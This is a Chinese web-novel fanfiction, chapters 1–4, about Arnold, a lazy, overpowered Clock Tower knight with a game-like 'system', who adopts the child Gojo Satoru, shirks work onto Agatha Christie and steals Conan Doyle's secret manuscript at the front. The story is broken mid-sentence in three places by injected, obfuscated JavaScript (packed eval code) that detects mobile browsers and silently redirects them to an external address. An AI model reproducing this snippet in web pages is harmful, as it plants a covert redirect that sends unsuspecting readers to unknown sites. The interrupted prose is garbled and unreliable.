《如何养成一只超越者六眼》 1. chapter1 四月中旬,英国伦敦的天气一如既往的阴沉,路上的行人来去匆匆,不忘拿一把雨伞。 钟塔侍从最近出了个大新闻,肆意妄为的大魔王捡了个外国小孩回来,放在家里如珠似宝地养着。 “照我说,就是那位大人的私生子!你想想,那位大人虽然面貌如少年,实际上已经活了不知道多少岁了,有个孩子也很正常。” “得了吧,你自己臆想也就算了,还拿出来说,就不怕那位大人把你扒光了挂到伦敦塔顶上去?那可真是没脸见人了!” “你又怎么知道没有可能?再说,难道还有比这更符合逻辑的可能吗?那位大人讨厌陌生人的接近,以前有人不小心摸到了他的衣角,就被打断了手脚,一个莫名其妙的小孩子而已,如果没有血缘关系,根本不可能得到那位的青睐。而且……” 声量压低,“最近是非常时期,那位就算平时随性而为,外边鏖战正酣呢,那位大人……身为咱们唯二的近卫骑士长,处于大局考虑,也不大可能把身份不明的小孩捡回来吧。” 有人冷哼了一声,说话的人一看就不了解那位所谓的近卫骑士长,大局为重?怎么可能。 说话的人被这声不客气的冷哼打断了,神色不悦,“你这是什么意思?你要是有别的高见,尽可以说出来。” 身为近卫骑士长大人的亲信之一,希莱尔懒得搭理,头一扭就高傲地走掉了,颇有贵族世家的风范。他头也不回,走向一家其貌不扬的蛋糕店,给他难伺候的上司买新鲜的蛋糕。 他想起上司的嘱咐,嘴角抽了抽。 栗色卷发的少年手里拿着一个苹果,咔嚓咔嚓地啃来啃去,苹果表面逐渐坑坑洼洼。少年模样的上司大人将兢兢业业的下属晾了十分钟才像是刚刚发现他似的,随口打发道:“你,去给我买一个水果蛋糕回来。奶油要纯动物奶油,草莓要一天之内采摘下来的,哦,还要放两颗……二十颗蓝莓,要那个什么……卡……卡斯园子里种的蓝莓,如果有一粒干瘪,我就拿你是问。对了,如果不好吃,你知道后果。” 说罢,上司阴阳怪气地翻了个白眼,不知道又在模仿哪个电视剧里的人物,像是厌烦了似的挥挥手叫他滚出去。 希莱尔简直无处吐槽,卡斯园子里种的蓝莓?卡斯是阿加莎大人的副官,把亲手种下的蓝莓当做眼珠子似的,他一个异能为文职属性的文官怎么神不知鬼不觉的潜进去?完全是天方夜谭。 上司自己天天招猫逗狗,最爱惹麻烦,时不时就对他们发布一些难以完成的任务,希莱尔槽多无口,早就习惯了。 两小时前,他才忍着羞耻去找了自己擅长偷鸡摸狗的死对头,付出尊严作为代价,好不容易得到了上司要求的二十颗蓝莓,刚才路过听到有人谈论无良上司,没忍住冷哼一声,若不是时间紧张,他说不定会加入那番理论,向这些不明真相、对上司阿诺德怀有美好想象的外人揭露鲜血淋漓的真相。 “欢迎光临,”头发花白的店长扶了扶鼻梁上的眼镜,看清来人后露出一个笑脸,“今天也要定制蛋糕么?” 希莱尔言简意赅地交代了上司的要求,交付二十颗粒粒饱满的蓝莓,经验丰富的店长点了点头,“等我半个小时。” 很快,蓝莓草莓双拼的双层大蛋糕完工了,希莱尔看着这个精致的蛋糕,不由得感到几分恼火,当然,是对他上司的,作为最熟悉阿诺德的人之一,他甚至能想象到,在下午六点钟这个时间点,上司悠哉悠哉地对着试衣镜换衣服的场面,也许旁边的置物架上还放了根烟斗。 而他,却在休息日加班,给无良上司订做蛋糕!如果那家伙真的那么喜欢吃甜品,希莱尔肯定不生气,处理上司的口腹之欲也是副官的职责之一。 但问题是阿诺德根本不嗜甜,而是更偏爱酸口的食物,让希莱尔忙活就纯属折腾人了——对方明明可以直接吃酸酸的山楂和酸梅,而不是叫他跑腿买甜腻腻的蛋糕! 希莱尔跟阿诺德相处好几年,清楚上司糟糕透顶的秉性,于是深呼吸了一口气,下定决心等会回去之后一定要忍住恼火的表情,不然阿诺德见他不爽,一定会变本加厉地欺负他。 他隐忍了一会,才将怒意压下,然而店长乐呵呵的一句话让他破防了:“你爱人的口味一直没有变过,一直偏爱水果多的蛋糕呢。” 希莱尔表情裂开了,“不是,您……?”希莱尔良好的贵族修养让他没有直接啐一口。 “也不知道你爱人喜不喜欢这次的成品呢?”老店长笑呵呵,似乎以为希莱尔时常光顾是因为挑剔的恋人,“你带来的蓝莓和草莓都长得很好,看得出来很用心了。我店里的水果质量比不上。” 希莱尔如同吞了只苍蝇似的,脑海中闪过无数被欺压的画面,最后定格在了阿诺德流金般的灿烂眼眸上,不由打了个寒颤。 “再见,祝您生意兴隆。”他有些哆嗦,逃也似的离开了。 店长看着他挺得笔直的脊背,心中感叹,这年轻人看着倨傲,对爱人倒是真的不错……想起对方状似羞恼的神情和连忙否认的姿态,又想道,也许还没确定关系呢,难怪这么殷勤。 希莱尔快要吐了。 . 伦敦黄金地段的富人居住区内,静静矗立着一栋占地面积堪比中世纪城堡,有花团锦簇的园林、设计精巧的别墅。 阿诺德岔开双腿坐在交椅上,姿势放松,右手持一只棕色的烟斗,眼神放空,好似在出神。 希莱尔走进上司金碧辉煌的家时,看到的就是这幅景象。经过自我调整,他已经恢复了处变不惊的样子,沉默地将包装精美的蛋糕放到桌面上。 阿诺德仿佛看到了什么好笑的事物,“噗嗤”一声,希莱尔不由一怔,狐疑的目光看去,若不是那双鎏金眼眸看着他的眼神仍然与往常一样戏谑,他可能会以为阿诺德终于疯了,看着不存在的东西笑什么? “唔……”外貌年轻的上司倾身而去,叉子粗暴地把蛋糕开膛破肚,兴致缺缺地尝了一口爆汁的蓝莓,撇了撇嘴,“太甜了。”又插了一个色泽鲜艳的草莓,眼睛一亮,“这个好吃!” 阿诺德看了过来,“草莓哪买的?” “……”希莱尔:“超市打折买的。” 阿诺德太嗜酸了,一般酸口的食物入不了他的眼,希莱尔担心挑剔的上司不喜欢偏甜的高档草莓,从滞销的水果摊位那里随便收了一些,专挑卖相好的收,他知道这种一般就是蛋糕里头的那种红艳艳的看起来好吃、实则酸的要命的草莓。 果然,对方很满意,略圆润的眼睛都眯起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345417|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 希莱尔松了口气,看来今天的折磨到此为止了。 阿诺德打了个哈欠,工具人希莱尔就识时务地退下了。 空荡荡的客厅里只剩下阿诺德一个人,他百无聊赖地晃着光裸的脚,无视办公桌上一堆乱七八糟的东西,好像在发呆。 直到座机发出声音,他才跳下有点高的真皮椅子去接电话。 “阿诺德!!!”电话一接通,阿诺德就下意识地离远了点,对面的女人咬牙切齿,恨不得将他大卸八块,“你把你应该处理的文件放我办公室干什么?!!!” 阿加莎·克里斯蒂难得享受了一个白天的假期,回到办公室拿外套的时候发现桌上突兀多出来一叠厚厚的文件,而窗子是打开的,凉飕飕的风透过窗户灌进来。 阿加莎原地站定几秒,长久以来形成的直觉让她油然而生一种不详的预感,打开一看,开头是【尊敬的钟塔侍从近卫骑士长、阿诺德先生:谨向您致以诚挚的问候……】 阿加莎一看就气笑了,如果阿诺德在旁边,她就要把心爱的茶杯砸到对方毛绒绒的脑袋上了。阿诺德自从三年前通过强买强卖的方式成为她的搭档,已经不下十次将工作推卸给她了。 可怜阿加莎正值青春年华,本可将闲暇时间用来喝红茶、与亲友开茶话会,却不得不为懒惰且厚脸皮的搭档收拾烂摊子。三年以来,她为阿诺德处理的文件可以堆满一整个柜子,所以怨气深重,每次见到阿诺德笑嘻嘻的脸就条件反射地板起脸来,浑身冒黑气。 钟塔侍从人人皆知,阿诺德是个不着调的性子,公文是半点都不处理的,生活是要好好享受的,名言:“如果做人不快乐,那我为什么要当人呢?如果为钟塔工作让我疲惫不堪,我为什么不辞职呢?” 他很好地贯彻了自己的发言,十分不做人。可怜的搭档为了他忙上忙下,包揽两人份的任务;倒霉的下属被他欺负得够呛,曾经是伯爵公子的希莱尔也屈服于他的淫威之下。而且,因为他本人的特殊性,钟塔侍从必须留住他,即使另一位超越者女士需要受一点委屈。 所以阿加莎·克里斯蒂不得不忍受他的甩手掌柜行为,日常对着他磨刀霍霍。 柯南·道尔劝说他的弟子阿加莎:“为什么要跟一个小孩子计较呢?” 阿加莎·克里斯蒂气笑了:“那就让我一个人干两个人的活,还只能领一人份的工资吗?” 柯南·道尔沉吟一会儿,心下发笑,言语间暗示道:“你也可以让他付出一些小小的酬劳。”意思是阿加莎可以找阿诺德真人线下pk。 然而阿诺德异常敏锐,阿加莎根本逮不到他,事情就这么不了了之。如果不是文件实在令人生烦,阿诺德其实并不想去招惹阿加莎,毕竟……他眼神飘忽一瞬,阿加莎近期心情不好,是真的有可能打他。 倒不是打不过,只是……他本就不占理,要是还敢还手的话,气头上的阿加莎就算再有大局观,多半也要掀桌子不干了——那就有点麻烦了。阿诺德心想。 “咳咳。”看来他这几天是不能待在家里了,在搭档的拳头下,出去避避风头才是正解。 阿诺德按了按头顶的贝雷帽,蹲在别墅三楼打开的落地窗前,准备来一场以信仰之跃为开端的说走就走的旅行。 2. chapter2 阿诺德把从不离身的烟斗塞进口袋里,任由风衣下摆在风中扬起,小腿发力,即将往下一跳—— “这是你的家,为什么不走正门?”一道声音突兀地响起,阿诺德都吓了一跳。 阿诺德这才想起这座别墅里,毫无存在感的另一个人——一个有着雪白发丝,蓝眸沉静的男孩。男孩看上去不过七八岁,身穿下属送来的儿童西装,一双宛如苍天之瞳的眼眸直直地看着无拘无束的阿诺德,好像什么也没想,又好像什么都想了。 五条悟盯着他,仿佛在看什么难以理解的事物。 五条悟是阿诺德前几天随手捡回来的小孩。 几天前,他路过一条小巷子,意外捡到了自称“五条悟”的男孩。对方穿着民族风情明显的和服,五官冷淡而极具东方特色,一看就不是本地人。 阿诺德一眼就被那双独特的眼眸吸引了,于是勾起唇角,撸猫似的搓了把对方柔软的白发,语气就跟拐卖儿童的人贩子似的: “要不要跟我回家?”毫无征兆,却很符合阿诺德一贯的做派。 阿诺德很中意五条悟这双眼睛。作为一抹曾经游离于世的孤魂,以及钟塔侍从当做最高机密隐藏的杀手锏,阿诺德见过成千上万个漂亮眼瞳的人类,其中没有一个达到足以和这孩子的苍天之瞳媲美的程度。 就算没有系统聒噪的任务提示,他也会毫不犹豫地把这孩子带回家——至于后续衍生出的小事,他根本不在乎。 【任务二:收养六眼神子·五条悟,状态:未完成,奖励:未知】 提示面板的上方还有一行灰暗的已完成任务的描述:【任务一:成为钟塔侍从近卫骑士长,状态:已完成,奖励已发放】 阿诺德摸了摸下巴,很好奇所谓的【六眼神子】,拎着五条悟领子把人带回来的时候,还把脸凑得特别近,近到面无表情的五条悟都侧过头避开他的打量。 五条悟面上毫无波动地心想:这个人,长得倒是挺好看的,就是脑子有问题。 阿诺德则心想,这孩子也没有六只眼睛啊?他不信邪地摸上男孩的脸颊,试图摸到所谓的六只眼。不然,为什么叫六眼神子呢? 系统只会沉默地发布任务,就像它最开始绑定阿诺德作为宿主的时候说的那样,【为了您的游戏体验,系统将不会进行任务以外的额外提醒】。 阿诺德早就清楚这点,所以直接上手,探寻好奇的答案。 虽然暂时没有得到答案,但也不是完全没有收获。阿诺德漫不经心想,反正人已经绑回来了,时间会给出答案。 五条悟目不转睛地注视着试图跳楼的领养人,歪了歪头:“你是被阿加莎女士暴打了,生无可恋想要跳楼吗?” 阿诺德金眸弯起:“不,我在未雨绸缪。假如走正门被发现的话,你明天就要去ICU给我送饭了。”他对自己的幽默很满意。 五条悟:“为什么是我送饭?”他在这座戒备森严的别墅里住了几天,基本上了解阿诺德的情况,对方的下属很多,轮不到五条悟一个小孩子来干活。 阿诺德笑嘻嘻,很是欠揍:“因为我想要你送。如果我想的话,你还得给我倒洗脚水,帮我搓脚。” 五条悟见泰山崩而不改色的表情终于产生了些许变化,尽管他将之前的记忆忘了个干净,却还是隐约知道,自己以前是用不着干这些下人才做的粗活的。 五条悟鼻子皱了皱,人在屋檐下,又怕阿诺德真的让他搓脚,于是微不可闻地低声说了句,“粗俗!”就飞快地进自己房间了。 阿诺德耳聪目明,听得清清楚楚。他得逞似的笑了两声,迎着风口张开双臂,风却带来了不妙的讯息。 不远处,有气势汹汹的脚步声,根据声音的大小、规律和频率,来人是谁已经很明确了。 “这声音……” “是阿加莎?”阿诺德金眸微睁,“怎么这么快?” 按照他的经验,阿加莎就算恨不得一拳把他捶进地里,也不见得会真的上门来找他打架。他很清楚阿加莎是个深爱国家、爱岗敬业、顾全大局的人,跟他这个不管事的可恶家伙相比,阿加莎女士显然是个非常称职的近卫骑士长。 阿诺德在三年前加入钟塔侍从,展现出独一无二的超规格强大异能,被当做杀手锏培养。但是他性格太不稳定,比五六岁的小孩子还要跳脱,做事从来都不顾忌后果,最重要的是,他完全有能力脱离钟塔侍从的辖制。 又因为他孑然一身,无所牵挂,钟塔侍从除了优渥的待遇没有多少可以留住他的东西,所以阿诺德在钟塔侍从向来是被捧着的,就算他半年前炸塌了伦敦塔顶的一部分,也没有受到实质性的惩罚。得知伦敦塔被炸的女王不过是把他叫进宫,语气温和地淳淳教导一番,走前还吃了一碟子酸梅点心。 女王甚至说:“如果你喜欢,可以把厨师带走。 ” 阿加莎对此心知肚明,阿诺德有时犯贱,她也只是维持着淑女的仪态,气急了也只是用杯子砸他,对阿诺德这小混蛋来说可谓不痛不痒。而阿诺德反而很是骄傲:他可是皮糙肉厚得很呢! 他看了一眼系统面板上阿加莎的个人专栏:【好感:49】 阿诺德眼中浮现出疑惑:40~60是介于朋友和陌生人之间的好感,应该没到宁愿撕破脸皮也要把他打一顿的地步才对。所以阿加莎这么步履匆匆是发生了什么? 他离开的步伐顿住了,苦恼一阵,决定冒着被打得满头包的风险等阿加莎来找他。如果是别人他早就拍拍屁股走人了,才懒得管别人有什么急事呢!但阿加莎还是不同的,阿诺德永远记得对方额头青筋暴起帮他工作的样子,他看一次笑一次——别告诉阿加莎,她真的会生气的。 阿加莎推开门,看到阿诺德老老实实地坐着,语气虽然冷冽,倒是没有多少怒气。她轻皱眉,开门见山道:“阿瑟那边,需要你去一趟。” 她像是报菜名似的报出一连串熟悉的名字,“……包括莎士比亚,都在雨果那边的战场上。阿瑟那边只有他一个人,现在遭到了数名超越者的围攻。” 阿瑟·柯南·道尔,老师的全名,阿加莎习惯叫他阿瑟。 如今正值异能大战队关键时期,各国已经祭出底牌,就连常年坐镇巴黎的法国国宝级超越者雨果,都出现在了南方战场上,轻易收割无数生命。 阿诺德此前一直作为秘密武器驻守伦敦,现在情况不一般,也到了他该出场的时候了。 阿诺德:“可是我走了,伦敦就只剩你一个人了哦。”特殊时期,伦敦唯二的超越者却要派出一个,落在阿加莎身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345418|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压力会很大。 敌国派出旗鼓相当的超越者偷家,这种可能不能忽略。各国都打红了眼,不要命地加倍投入兵力,战况最危急的地方已经沦为人间炼狱,每走一步就有断肢残骸,大地都被士兵的鲜血染成了暗红色。 阿加莎难得温和地看了他一眼,“这个不用你操心,尽快赶到阿瑟那边支援就行了,伦敦若是出了事,我会呼叫你。” 阿加莎显然误以为阿诺德这没良心的家伙在关心她,事实上,阿诺德只是随口一说罢了,以他的没心没肺,根本想不到那么多。 “我走啦!”阿诺德行头都没换,来一场说走就走的旅行,只不过目的地变成了北方战场,以他的速度,大概两天就能赶到。 阿加莎不耐烦道:“快走!”指尖的钢笔一用力,险些划破纸张。 是的,阿加莎女士在烦躁且不淑女地咒骂过后,还是开始处理起阿诺德堆积好几天的事务。 . 阿诺德走了一天后,一只纯白的鸽子猛的撞击在钢化玻璃所制的窗户上,阿加莎察觉到动静,打开窗户,圆滚滚的鸟儿就窜进了她怀里,她瞳孔一缩,极度紧绷的神经差点让她出手打死这只信鸽。 她皱着眉头展开信鸽脚上绑着的纸条,是幼童般歪歪扭扭的字迹:“看在我积极驰援的份上,帮我照顾一个白毛小鬼,放在我家里了”。连落款也没有,是阿诺德的手笔。 阿加莎倒是不奇怪阿诺德这家伙走了快一整天才想起来那白毛小孩,这人一向就是这样,比起得了阿兹海默的老人记性都不如,她无数次嘱咐对方的事情,对方压根记不住。 她叹了口气,希望阿诺德大事上认真一点,不要掉链子。 阿加莎将纸条扔进壁炉里,叫来副官,让他将五条悟接来钟塔侍从。 . 柯南·道尔从未想过,有一天他看见阿诺德的时候,第一反应不是提心吊胆,而是松了一口气。饶是他,面对几个同等级超越者的围剿,也产生了几分疲惫。 柯南·道尔揉了揉胀痛的太阳穴,强迫自己忽略掉阿诺德那一头鸡窝似的乱发,“还算准时。你这头发,怕不是给一只母鸡做了窝?”这人说话一向刻薄,就算满意于阿诺德的快速,嘴上也是不留情面。 阿诺德指了指蓬松的发顶,努嘴道:“戳啦!我只是让它作为一只信鸽的暂时歇脚处,这很好,不是吗?”他沾沾自喜于自己的善良。 柯南·道尔:“……”很好,是阿诺德本人了,一般人的脑子没这么不正常。 他本想为阿诺德接风洗尘,却见对方经过两天不眠不休的奔波没有疲惫之态,依然活蹦乱跳,就收回了让他休息休息的打算。 这小子不是人类的范畴。 “知道你没带换洗衣物,”柯南·道尔指着衣柜,“衣服给你准备好了,收拾收拾,明天随我一同应战。” 阿诺德打开衣柜门,对于里头的衣服很不感冒:“好丑。” 柯南·道尔语调奇异,目光挑剔:“这哪里丑了?看看你身上套的麻袋,我挑选的衣服,才具有绅士必不可少的优雅衣品。” 阿诺德瞪大眼睛:“怎么就是麻袋了?大叔你说清楚!”他不就是里面穿了件衬衣,外面再随便套了身风衣嘛,那也和麻袋没有半点相似之处啊! 3. chapter3 柯南·道尔出身于贵族,讲究的就是绅士风度,英国的传统绅士风度自然也包括了穿搭,对他来说,光是看着阿诺德这毫无联系的胡乱打扮就已经很是难受了。 看看,看看!柯南·道尔心中不悦,恨不得举起手杖狠狠地揍这小子的屁股!阿诺德这小鬼以前就是这幅德行,衣服乱搭,上面长袖,下面短裤!也就是长了一张俊秀绝伦的脸蛋,不然分分钟当成智障嘲笑。 柯南·道尔斜睨着矮了他半个头的阿诺德,心想,瞧这小子不忿的表情,看来确实很不认同他“麻袋”的评价。 阿诺德看他眼神就知道他在想什么,肯定是在鄙夷他的衣品。他眼珠一转,衣服也不换了,往沙发上一坐,脱了靴子和尼龙长袜,就开始…… 抠脚。 一张绝对可以称作美丽的脸庞面不改色地甩掉鞋袜,很是不雅观地开始抠起脚丫子。如果忽略掉他在做什么,其实是个美少年来着。 柯南·道尔不忍卒视。 可怜的阿加莎!柯南·道尔突然同情起远在伦敦的弟子,不幸的阿加莎,天天面对阿诺德这个人嫌狗憎的臭小子,不长皱纹都得感谢上帝的垂怜。换做是柯南·道尔自己,自诩情绪稳定、不轻易发火的他觉得鬓角都要多长几根白头发。 柯南·道尔感觉自己一天之内老了好几岁。他略感惆怅地系好餐巾,手持银亮的餐具,切割七分熟的牛排,仅仅享受了十几分钟美妙的独处时光,他就突然间右眼突突的跳,顿时有种不详的预感。 果不其然,他走到书房附近时,听到“沙沙”的窸窣声音,仿佛有什么在翻动。柯南·道尔深呼吸,心中劝说自己:莫生气,莫生气。只是临时书房而已,哪怕被当做狗窝又如何呢? 阿诺德这个狗崽子就算把他的书都撕成碎片堆起来睡觉,柯南·道尔也能冷静地叫下属重新采买。 “呵呵。”他见到室内的一片狼藉,发出意义不明的短促音节。 阿诺德埋头在书堆里找些什么,像只在树洞里扒拉松果的小松鼠。不,柯南·道尔心里否认道,阿诺德可不是可爱的小松鼠,是个让人头疼的混世魔王才对。 书架已经躺在地上,摆放的书籍乱七八糟,阿诺德随手翻开就扔在一旁,全然不顾这些书的珍贵。 就是个入室抢劫的强盗!柯南·道尔手杖在木制地板上用力敲了敲,发出沉闷的响声。 罪魁祸首像是才注意到受害人的到来,对着柯南·道尔的横眉冷对依旧淡定自如,就仿佛他不是侵犯了一位超越者的私人领域,而是随手抢走了路边小孩儿的冰激凌——呃,阿诺德还真的抢过小朋友的冰激凌,希莱尔可以作证,天知道身为接受过良好教育的贵族后裔,看到这一幕时希莱尔有多不可置信。 世上竟有如此厚颜无耻之人!如果他看过某部著名电视剧,肯定会脱口而出。 但是希莱尔当时瞠目结舌,直接惊呆了,一时间什么话都说不出,眼神呆滞地跟着耀武扬威的阿诺德,身后的小孩嚎啕大哭,引来路人的注视。希莱尔由于过度震惊,过了一段时间才后知后觉地感到一阵深深的羞耻,这么厚颜的人怎么会是他的上司?!! 回到某英伦绅士的书房里,阿诺德眼睛亮晶晶的,满足的样子像一只腮帮子鼓起来的仓鼠:“我喜欢你的藏书!” 柯南·道尔试图用推理思维分析阿诺德这么做的动机,很快他就意识到这种事情不可能成功,阿诺德的大脑结构和正常人不一样。 柯南·道尔音调平稳:“你翻这些书干什么?” 阿诺德自顾自地说道:“当然是为了补充图鉴!好多书,我都没有从书店看到过!”在旁人看不到的光屏上,阿诺德翻开过的书籍飞速录入,他的书籍图鉴不断扩充。 柯南·道尔看不到屏幕,只觉这小子实在欠揍得可以,就这翻书的速度,能补充个屁的图鉴。但是因为临时书房里没有真正的珍品孤本,倒也不十分生气。这种淡然的成熟作态就显得每次被冒犯都勃然大怒的阿加莎不够老道了,像是柯南·道尔这种老油条,深知阿诺德这欠揍小鬼价值的他根本不会跟对方计较,就连生气都只是好笑的那种气,不会真的气到。 阿加莎,还是太年轻了。 柯南·道尔叼着烟嘴,吐出一口沉郁的烟雾。小鬼罢了!他一个成年人,就是让让又如何?这书房没有什么有价值的东西,只要阿诺德不找到隐蔽的暗格,他没什么好怕的。 突然,一阵寒意爬上这位英伦绅士的脊背,只见阿诺德嗅觉敏锐地从倒塌的书架后方墙壁的暗格到处摸索,手伸到某处,轻轻一按,便发出清脆的机关响动声,赫然是一处隐秘的暗格。暗格里面静静地躺着一沓布满英文的纸,字迹是充满美感的花体,密密麻麻的文字中略显潦草,偶尔有几道涂抹修改的痕迹,俨然是柯南·道尔从未发布过的手稿。 哦,上帝!柯南·道尔下意识地伸手去抢,却被阿诺德灵活地躲开。 柯南·道尔心道不好,也不收手了,堪比钢铁坚硬的手杖往阿诺德下肢凌厉地一扫,蕴含着超越者十成十的力道,如果被打个正着,肯定会抱着腿直抽气——阿诺德这个不着调的小子要是被打到的话,说不准就要毫无形象地嗷嗷大哭。而阿诺德却并不正面对抗,露出令人牙酸的奸诈表情,直接一脚踢碎坚固的钢化玻璃,做了个鬼脸,从塔楼一跃而下。 柯南·道尔成熟的嗓音变得不成熟了:“臭小子!!!把我的手稿还回来!!!!” 一向冷静自持的英伦绅士又惊又怒,几乎要把手中的手杖一掷而下,最好把那小子打晕过去,他好拿回那些手稿。 而阿诺德早就跑的没影了。 塔楼驻守的士兵目瞪口呆,这可是特制的钢化玻璃啊,狙击枪都打不碎的那种军用玻璃!这、这力气得是有多大啊?!! 士兵们无法理解这种恐怖的怪力,就连他们的顶头上司,担任北方战线最高指挥官的柯南·道尔也一时镇住了——光靠肉.体力量,他都不敢保证自己能够轻易打破这种材质的玻璃,不然早就把手杖当飞镖扔出去打爆阿诺德狗头了。 . 【姓名:阿诺德(是否更改?是\否)】 【性别:男(是否更改?是\否)】 【力量:100(您壮得可以打死一头大象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345419|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' )】 【敏捷:100(您来去如风)】 【智力:72(您比一般人聪明一点点)】 【魅力:92(很少有人能对您的颜值免疫)】 【人缘:0(您人嫌狗憎,如果您有朝一日落魄,将会得到仇家毫不留情的报复)】 以上为系统面板上阿诺德的个人数据。 阿诺德绑定了一个系统,系统告诉他,他是世界上唯一的玩家,属性具有极强的可塑性和成长性,只要完成任务,系统有概率奖励属性点,阿诺德可以随意加在力量、敏捷、智力和魅力等属性上,他的力量早就点满了,所以他才可以用人之躯体轻易破坏特制的钢化玻璃。 阿诺德当着柯南·道尔的面带走了对方珍藏的手稿,走出柯南·道尔的攻击范围之后,他查看起手稿上的内容,只看了一眼,他的表情就意味深长起来。 柯南·道尔身为超越者,同时也是一位有名气的作家,以推理小说扬名,而这份手稿却不是什么推理小说。 阿诺德惊叹地看着柯南·道尔亲笔所写的狗血小说,完完整整地阅读完,喟叹,“不愧是你啊,大叔。如果主角不是我,我都要夸奖优美的文笔和紧凑的叙事了。” 这本小说要是发行出去,想必能得到整个英国的喜爱。战争时期,人民也开始苦中作乐,一些讲述风花雪月的爱情小说流行起来,阿诺德无聊时曾看过几本,论艺术性和可读性远远不如柯南·道尔这位大文豪的作品。 这部小说里,阿诺德被塑造成了一位取了男名的落魄贵族小姐,与风流王子、严厉将军和温柔教授等人发生了一连串缠绵悱恻的纠葛,王子曾瞧不起她的出身,当众羞辱她,将军曾对她不假辞色,冷言冷语,教授明面上温和可亲,背地里却利用女主的美貌谋取好处,后来他们都真香了,像是追着肉骨头的狗一样疯狂,狂热拜倒在女主的石榴裙下。 而且,由于女主的上一辈与其中一位男主有世仇,还有双胞胎兄弟在不知情的情况下爱上女主的戏码,又增添了浓浓的狗血风味,她逃、他追,他们插翅难飞。阿诺德看得津津有味,心下可惜,柯南不全职写小说真是可惜了。 英国异能界就只有阿诺德一个人叫这个名字,柯南·道尔为女主角取这个名字的用意可见一斑——呵,幼稚的报复,阿诺德冷笑。 难怪阿诺德拿走手稿的时候,柯南·道尔的表情就像是吞了苍蝇一样的难以言喻。 阿诺德并不奇怪柯南·道尔这个看似正经的中年男人会写这种画风不符的小说,看系统面板就知道了,他的人缘差到了一种离奇的程度,柯南·道尔脸上笑嘻嘻,心里MMP,恨不得用手杖打折他的腿。 这就是因爱生恨吗,阿诺德心想。明明第一次见面的时候,柯南大叔还不是这样的,他看得出来,大叔刚开始还挺喜欢他的。不就是把对方珍藏的茶叶泡了喂金鱼了么,至于吗? 受害者柯南·道尔如果听到他的心声,手杖就要狠狠地抽他屁股了:臭小子,你偷我的茶就算了,怎么还把我养了四年的金龙鱼毒死了呢?把茶水倒进鱼缸里,真的是人类能够干出来的勾当吗?! 4. chapter4 合上柯南·道尔的手稿,阿诺德回味了一番,晃了晃手稿对系统说道,“这也是书,能不能收录进我的图鉴?” 系统顿了一下,【……可以。】 阿诺德为这本书新开了一个分类,就叫做【柯南大叔的黑历史】。 . 另一边,平复下心情的柯南·道尔没有派士兵出来找阿诺德,阿诺德也不急着回去,在附近驻扎的营地闲逛一会儿,直到雨丝轻柔地落在他的头顶,才回到最前线的督战塔楼。 要不怎么说柯南·道尔是阿加莎的老师呢,明明之前还破了功,要用手杖打断阿诺德的腿,这会儿已经平静下来了,一张深邃而充满中年男人成熟韵味的脸扭过来看了一眼身上沾着叶子的阿诺德,冷哼了一声。那根不离身的手杖靠在墙壁上,被阿诺德拿起来瞅了瞅,柯南·道尔怕他没控制住手劲给折断了,果断夺回了手杖。 阿诺德失望地嘁了一声,心道柯南大叔还真是他肚子里的蛔虫,一看到他的表情就知道他在想什么。 柯南·道尔额头青筋跳了跳,忽然想起自己无辜夭折在阿诺德这个捣蛋鬼手中的好几根手杖,让他这个手杖收集癖心在滴血。 不过现在并不是计较这些的时候,柯南·道尔深吸了一口气,决定先说正事,“阿加莎让你过来的时候,应该已经跟你说清楚了情况?” 阿诺德得意,“对呀~所以才叫可靠的我来支援倒霉被围攻的柯南大叔。” 在席卷整个欧洲的异能大战爆发之前,英国是公认的最强异能国,其超越者数量超过任何国家,因此具有天然的武力优势。异能主导的战争中,热武器已经无法决定走势,理论上的异能最强国也受到了他国联合的针对。 在欧洲,任意一个关隘战地都不可能只有普通士兵镇守,防卫的主力是如繁星般众多的普通人,而进攻的矛就是能力各异、难以捉摸的异能者,比如柯南·道尔牢牢把守住的英国北方防线,这里没有天然的险要山隘地形,有的只是望不到头的平原,只能用源源不断的兵力和超越者强大的武力填补这个缺点,而当敌军与同样强势的法国结盟,然后对落单的柯南·道尔发起猛烈攻势的时候,柯南·道尔这位久负盛名的老牌超越者也会陷入慢性死亡,如果伦敦不及时派遣阿诺德这样足以改变颓势的超越者前来驰援,北方战线迟早会崩溃。 “……”柯南·道尔默然一瞬,“这只是最浅层的情报,你知道为什么指名派你来么?” 